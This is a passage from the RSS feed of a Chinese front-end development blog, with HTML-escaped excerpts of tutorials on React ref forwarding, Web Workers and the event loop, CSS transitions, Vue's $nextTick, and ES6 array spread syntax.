&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Foo&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;forwardRef&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;myRef&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;....&lt;span style="color:#a6e22e"&gt;一些其他节点&lt;/span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt; {&lt;span style="color:#75715e"&gt;/*4*/&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;input&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;type&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;defaultValue&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;ref 成功转发到 Foo 组件内部的 input节点上&amp;#39;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#a6e22e"&gt;myRef&lt;/span&gt;}/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;....&lt;span style="color:#a6e22e"&gt;一些其他节点&lt;/span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;....&lt;span style="color:#a6e22e"&gt;一些其他节点&lt;/span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;p&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Foo&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;仔细看代码中标记的数字，这是&lt;code&gt;ref&lt;/code&gt;转发的流程:&lt;/p&gt;</description></item><item><title>Web Workers</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/web-workers/</link><pubDate>Wed, 16 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/web-workers/</guid><description>&lt;p&gt;在浏览器和服务器上，JavaScript程序在单个处理线程上运行。这意味着程序一次只能做一件事。简单来说，你的新电脑可能有32核的CPU，但当JavaScript应用程序运行时，其中31个核心都处于空闲状态。&lt;/p&gt;
&lt;p&gt;JavaScript的单线程避免了复杂的并发情况。如果两个线程同时尝试进行不兼容的更改会发生什么？例如，一个浏览器可能在另一个线程重定向到新的URL并从内存中清除该文档时正在更新DOM。Node.js、Deno和Bun都继承了浏览器的单线程引擎。&lt;/p&gt;
&lt;p&gt;这不是JavaScript特定的限制。大多数语言都是单线程的，但像PHP和Python这样的Web选项通常在Web服务器上运行，为每个用户请求启动解释器的新线程的不同实例。这会消耗资源，因此Node.js应用程序通常定义自己的Web服务器，该服务器在单个线程上运行，并异步处理每个传入的请求。&lt;/p&gt;
&lt;p&gt;Node.js的方法在处理高流量负载时可能更高效，但长时间运行的JavaScript函数会消耗效率收益。&lt;/p&gt;
&lt;p&gt;在我们演示如何使用Web Workers解决执行速度问题之前，我们首先要了解JavaScript的运行方式以及为什么长时间运行的函数会引发问题。&lt;/p&gt;
&lt;h2 id="javascript非阻塞io事件循环"&gt;JavaScript非阻塞I/O事件循环&lt;/h2&gt;
&lt;p&gt;你可能会认为一次只做一件事会导致性能瓶颈，但JavaScript是异步的，这就避免了大部分单线程处理问题，因为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不需要等待用户在网页上点击按钮。 浏览器触发一个事件，当点击发生时调用JavaScript函数。&lt;/li&gt;
&lt;li&gt;不需要等待Ajax请求的响应。 浏览器触发一个事件，在服务器返回数据时调用JavaScript函数。&lt;/li&gt;
&lt;li&gt;Node.js应用程序不需要等待数据库查询的结果。 运行时在数据可用时调用JavaScript函数。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;JavaScript引擎运行一个事件循环。一旦代码的最后一条语句执行完毕，运行时会循环回来，检查是否有未完成的定时器、待处理的回调函数和数据连接，然后根据需要执行回调函数。 其他操作系统处理线程负责调用诸如HTTP请求、文件处理和数据库连接等输入/输出系统。它们不会阻塞事件循环。事件循环可以继续执行下一个在队列中等待的JavaScript函数。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/html/web-workers/image-01.webp"&gt;&lt;/p&gt;
&lt;p&gt;实质上，JavaScript引擎的主要责任是运行JavaScript代码。操作系统处理所有其他可能导致引擎调用JavaScript函数的I/O操作。&lt;/p&gt;
&lt;h2 id="长时间运行的javascript函数"&gt;长时间运行的JavaScript函数&lt;/h2&gt;
&lt;p&gt;JavaScript函数通常由事件触发。它们会进行一些处理，输出一些数据，并且大部分情况下会在毫秒级别内完成，以便事件循环可以继续运行。&lt;/p&gt;
&lt;p&gt;不幸的是，一些长时间运行的函数可能会阻塞事件循环。想象一下，你正在开发自己的图像处理函数（如锐化、模糊、灰度化等）。异步代码可以从文件中读取（或写入）数百万字节的像素数据，这对JavaScript引擎影响很小。然而，处理图像的JavaScript代码可能需要几秒钟来计算每个像素。该函数会阻塞事件循环，直到它完成，其他JavaScript代码无法运行。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在浏览器中，用户将无法与页面进行交互。他们无法点击、滚动或输入，并且可能会看到一个“脚本无响应”的错误，其中有停止处理的选项。&lt;/li&gt;
&lt;li&gt;对于Node.js服务器应用程序而言，情况更糟糕。在函数执行时，它无法响应其他请求。如果函数需要花费10秒钟来完成，那么在那个时间点访问的每个用户都必须等待最多10秒钟，即使他们没有处理图像。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;你可以通过将计算拆分为较小的子任务来解决这个问题。下面的代码使用传递的imageFn函数，最多处理1,000个像素（从一个数组中）。然后，它使用1毫秒的setTimeout延迟调用自身。事件循环的阻塞时间较短，这样JavaScript引擎可以在迭代之间处理其他传入的事件：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// pass callback function, image processing function, and input image
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// return an output image to a callback function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;processImage&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;imageFn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;i&lt;/span&gt; =&amp;gt; {}, &lt;span style="color:#a6e22e"&gt;imageIn&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [] ) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;chunkSize&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;; &lt;span style="color:#75715e"&gt;// pixels to process per iteration
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// process first chunk
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;imageOut&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;pointer&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;processChunk&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// process a chunk of data
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;processChunk&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pointerEnd&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pointer&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;chunkSize&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// pass chunk to image processing function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;imageOut&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;imageOut&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;concat&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;imageFn&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;imageIn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;slice&lt;/span&gt;( &lt;span style="color:#a6e22e"&gt;pointer&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;pointerEnd&lt;/span&gt; ) )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;pointerEnd&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;imageIn&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// process next chunk after a short delay
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;pointer&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;pointerEnd&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setTimeout&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;processChunk&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// complete - return output image to callback function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;callback&lt;/span&gt;( &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;imageOut&lt;/span&gt; );
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这种方法可以防止脚本无响应，但不总是切实可行的。单个执行线程仍然会执行所有的工作，即使CPU可能有更多的处理能力。为了解决这个问题，我们可以使用Web Workers。&lt;/p&gt;</description></item><item><title>动画</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-016/</link><pubDate>Tue, 08 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-016/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;CSS中有几个特别相近的几个属性。他们是&lt;code&gt;transition&lt;/code&gt;,&lt;code&gt;transform&lt;/code&gt;,&lt;code&gt;animation&lt;/code&gt;。可能还有人对&lt;code&gt;translate&lt;/code&gt;是什么也不清楚，那我们先给个简单的介绍。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;属性&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;transition 过渡&lt;/td&gt;
&lt;td&gt;用于设置元素的样式过度，和animation有着类似的效果，但细节上有很大的不同&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;transform 变形&lt;/td&gt;
&lt;td&gt;用于元素进行旋转、缩放、移动或倾斜，和设置样式的动画并没有什么关系，就相当于color一样用来设置元素的“外表”&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;animation 动画&lt;/td&gt;
&lt;td&gt;css动画属性&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;translate 移动&lt;/td&gt;
&lt;td&gt;只是transform的一个属性值，即移动。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="transition-过渡"&gt;transition 过渡&lt;/h2&gt;
&lt;p&gt;字面意思上来讲，就是元素从这个属性(color)的某个值(red)过渡到这个属性(color)的另外一个值(green)，这是一个状态的转变，需要一种条件来触发这种转变，比如我们平时用到的:hoever、:focus、:checked、媒体查询或者JavaScript。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一条transition规则，是可以定义多个属性的变化的，中间用逗号隔开，如果是全部属性变化则用“all”即可。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;语法：&lt;strong&gt;&lt;code&gt;transition: property duration timing-function delay;&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;transition-property&lt;/td&gt;
&lt;td&gt;规定设置过渡效果的 CSS 属性的名称&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;transition-duration&lt;/td&gt;
&lt;td&gt;规定完成过渡效果需要多少秒或毫秒&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;transition-timing-function&lt;/td&gt;
&lt;td&gt;规定速度效果的速度曲线&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;transition-delay&lt;/td&gt;
&lt;td&gt;定义过渡效果何时开始&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;我发现简写时候的顺序并不一定就是写死的，经过测试在chrome上只要delay在duration后面即可。当然按照标准写是最好的。&lt;/p&gt;
&lt;h2 id="demo"&gt;Demo&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!DOCTYPE html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;html lang&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;title&amp;gt;transition&amp;lt;/title&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;style&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#box {&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; height: 100px;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; width: 100px;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; background: green;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; transition: transform 1s ease-in 1s;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#box:hover {&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; transform: rotate&lt;span style="color:#f92672"&gt;(&lt;/span&gt;180deg&lt;span style="color:#f92672"&gt;)&lt;/span&gt; scale&lt;span style="color:#f92672"&gt;(&lt;/span&gt;.5, .5&lt;span style="color:#f92672"&gt;)&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/style&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/head&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;div id&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;box&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/body&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/html&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;效果&lt;/p&gt;</description></item><item><title>$nextTick</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/nexttick/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/nexttick/</guid><description>&lt;p&gt;&lt;code&gt;nextTick&lt;/code&gt; 是 Vue 的一个核心实现，&lt;code&gt;$nextTick&lt;/code&gt;方法将回调延迟到下次DOM更新循环之后执行。&lt;strong&gt;Vue 的 nextTick 其本质是对 JavaScript 执行原理 EventLoop 的一种应用。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;nextTick 的核心是利用了如 Promise 、MutationObserver、setImmediate、setTimeout的原生 JavaScript 方法来模拟对应的微/宏任务的实现，本质是为了利用 JavaScript 的这些异步回调任务队列来实现 Vue 框架中自己的异步回调队列&lt;/p&gt;
&lt;h2 id="前置知识---js事件循环"&gt;前置知识 - js事件循环&lt;/h2&gt;
&lt;h2 id="js-运行机制"&gt;JS 运行机制&lt;/h2&gt;
&lt;p&gt;JS 执行是单线程的，基于事件循环。事件循环大致分为以下步骤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;所有同步任务都在主线程上执行，形成一个执行栈。&lt;/li&gt;
&lt;li&gt;异步任务放进任务队列，异步任务分为宏任务和微任务&lt;/li&gt;
&lt;li&gt;执行栈所有同步任务执行完成，就会执行任务队列。对应的异步任务，结束等待状态，进入执行栈，开始执行。&lt;/li&gt;
&lt;li&gt;主线程不断重复上面的第三步。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;主线程的执行过程就是一个 tick，而所有的异步结果都是通过 “任务队列” 来调度。 消息队列中存放的是一个个的任务（task）。 task 分为两大类，分别是 macro task 和 micro task，并且每个 macro task(宏任务) 结束后，都要清空所有的 micro task(微任务)。&lt;/p&gt;
&lt;p&gt;如图所示&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;macroTask&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;of&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;macroTaskQueue&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 执行宏任务
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;handleMacroTask&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 执行所有微任务
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;microTask&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;of&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;microTaskQueue&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;handleMicroTask&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;microTask&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;宏任务&lt;/code&gt;： script、setTimeout、setInterval、Node中的setImmediate 等&lt;br&gt;
&lt;code&gt;微任务&lt;/code&gt;： Promise.then、MutationObserver、Node 中的 Process.nextTick等&lt;/p&gt;</description></item><item><title>数组扩展</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-016/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-016/</guid><description>&lt;p&gt;ES6（ECMAScript 2015）为JavaScript数组引入了多项扩展功能，这些功能不仅简化了数组操作，还提高了代码的可读性和效率。本文将详细介绍ES6数组扩展的主要功能和用法。&lt;/p&gt;
&lt;h4 id="一扩展运算符"&gt;一、扩展运算符（&amp;hellip;）&lt;/h4&gt;
&lt;p&gt;扩展运算符可以用于数组的赋值、合并、解构赋值以及将字符串转为数组。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;赋值数组&lt;/strong&gt;：&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;, [&lt;span style="color:#ae81ff"&gt;500&lt;/span&gt;]];
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;arr2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [...&lt;span style="color:#a6e22e"&gt;arr1&lt;/span&gt;]; &lt;span style="color:#75715e"&gt;// 浅拷贝
